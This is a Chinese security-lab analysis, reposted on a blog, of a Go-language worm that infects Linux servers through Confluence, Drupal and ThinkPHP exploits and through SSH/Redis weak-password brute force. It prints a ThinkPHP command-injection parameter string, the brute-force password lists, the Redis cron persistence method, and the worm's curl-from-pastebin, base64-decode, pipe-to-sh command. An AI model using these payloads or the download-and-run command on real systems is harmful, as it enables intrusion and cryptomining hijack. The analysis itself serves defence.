linux redis 蠕虫,感染大量Linux服务器的Go语言蠕虫分析

近日,国外安全网站SECURITYWEEK披露,一款Go语言恶意软件正大量感染Linux服务器,其使用了多达6种传播感染方式,包含4个远程执行漏洞(ThinkPHP、THinkPHP2、Dural、Confluence),2个弱密码爆破攻击(SSH、Redis)。深信服安全团队对该蠕虫进行了追踪。

5309201762a75fafaee994138e0ec695.jpg

目前为止,恶意软件较少会使用Go语言编写,这是由于依赖库的原因,编译出来的程序较为冗余,如下通过VT可以得知,该样本有近9M那么大。然而,使用Go语言也有一个好处,就是易于集成第三方的库。

877d302130cfce9ebf515f32c5235684.jpg

逆向分析

对该样本进行反汇编,可以清晰地看到漏洞攻击对应的函数,其中Attack函数是主函数,依次调用getip和checkPort,来搜索同网段在线的主机IP,以及其开放端口,若发现有22、6379端口开放,则对其进行弱密码爆破;若发现有80端口,则对其进行漏洞扫描及攻击。

3a898abade8c2aadc68f587dca25d1ee.png

CVE_2019_3396

CVE_2019_3396是Confluence的漏洞,攻击exp如下,将payload存储于_template参数中。

676479b0fbc5edaaa7172ec24deb5a30.jpg

Drupal

Drupal的攻击exp如下,对应的CVE编号为CVE-2018-7600。

b694c2f3b6f82f00eee8f6b1f4b574a4.jpg

ThinkPHP

ThinkPHP有两个漏洞利用,下面这个是CVE-2019-9082漏洞,使用function=call_user_func_array&vars[0]=system&vars[1][]=URL利用该漏洞执行命令。

aff1b22fa8a35840c67b213f516c7596.jpg

ThinkPHP2

另外一个漏洞利用跟上面的相似,攻击exp如下。

5bae65b1806421b3f52578b2aafc2767.jpg

Redis爆破

Redis登陆不需要用户名,爆破会使用如下几个弱密码:admin、redis、root、123456、password、user、test。登陆成功后,蠕虫会先调用FlushAll删除所有数据库,然后创建一个root数据库来存放恶意代码,该代码同样会被创建到/var/spool/cron和/etc/cron.d中以实现持久化潜伏。

8c1829c27809a52478c2f1f7ee2b70ef.jpg

插入的是下面这个恶意代码,这个代码的意思是,每隔一分钟,就解密执行一次https://pastebin.com/raw/xvfxprtb的代码。

632bb5d782ad689dbc030eec186facfa.png

SSH爆破

SSH爆破使用的用户名为:root、admins、user、test,密码分别为:admins、root、test、user、123456、password。

从上面几个漏洞攻击和密码爆破的方式来看,攻击最后的目的都是为了执行命令:"curl -fsSLhttps://pastebin.com/raw/xvfxprtb) | base64 -d) | sh",所以,这个url的代码应该就是攻击的核心代码。pastebin.com/raw/xvfxprtb的代码如下,是经过base64加密的。

f60da688ba8abc111dbc5018da2f8cbf.jpg

解密后可以看见其主要操作,将m.jianlistore.com/images/qrcode/1414297564.jpg保存为本地的

/tmp/.mysqli/mysqlc并执行,这个文件之前已经有文章分析过了,不再累赘:https://www.freebuf.com/articles/terminal/206170.html。

fa2a062fdc559920d4cbee81a0c68239.jpg

事件追踪

回到刚刚的网址:pastebin.com/raw/xvfxprtb,对其进行追踪,将网址中的raw去掉,就可以看到该代码的发布者了,从下图中可以得知,该作者为NIDAYE222(你大爷?),代码是6月10号上传的,访问量迄今为止为18000+,说明该蠕虫的感染量大概也是这个数,感染数量也还在极速上升。

fa2a062fdc559920d4cbee81a0c68239.jpg

使用搜索引擎搜索nidaye222,可以发现,发布者在14天刚创建了个github账户,而在6月26号和30分别fork了漏洞扫描器kunpeng和开源挖矿xmrig,看来这个蠕虫的作者很有可能是从这得到了启发。

7f27bc0670e52807eb8f8efc2a2762d3.jpg

Kunpeng是一个开源的POC检测框架,也是使用go语言进行编写的,所以,不排除作者有复用其中漏洞利用代码的可能性。

40b50393f586e0f2630a36358d01bb57.jpg

Kunpeng目前为止收录了85个漏洞POC,其中也包含了该蠕虫所利用的漏洞,可想而知,只要作者愿意,他可以继续扩充如下漏洞攻击代码到蠕虫中去,所以,大家尽量打上相应的漏洞补丁,防止感染该病毒。

316d8e6d72796db375e140040baa086d.jpg

声明:本文来自深信服千里目安全实验室,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值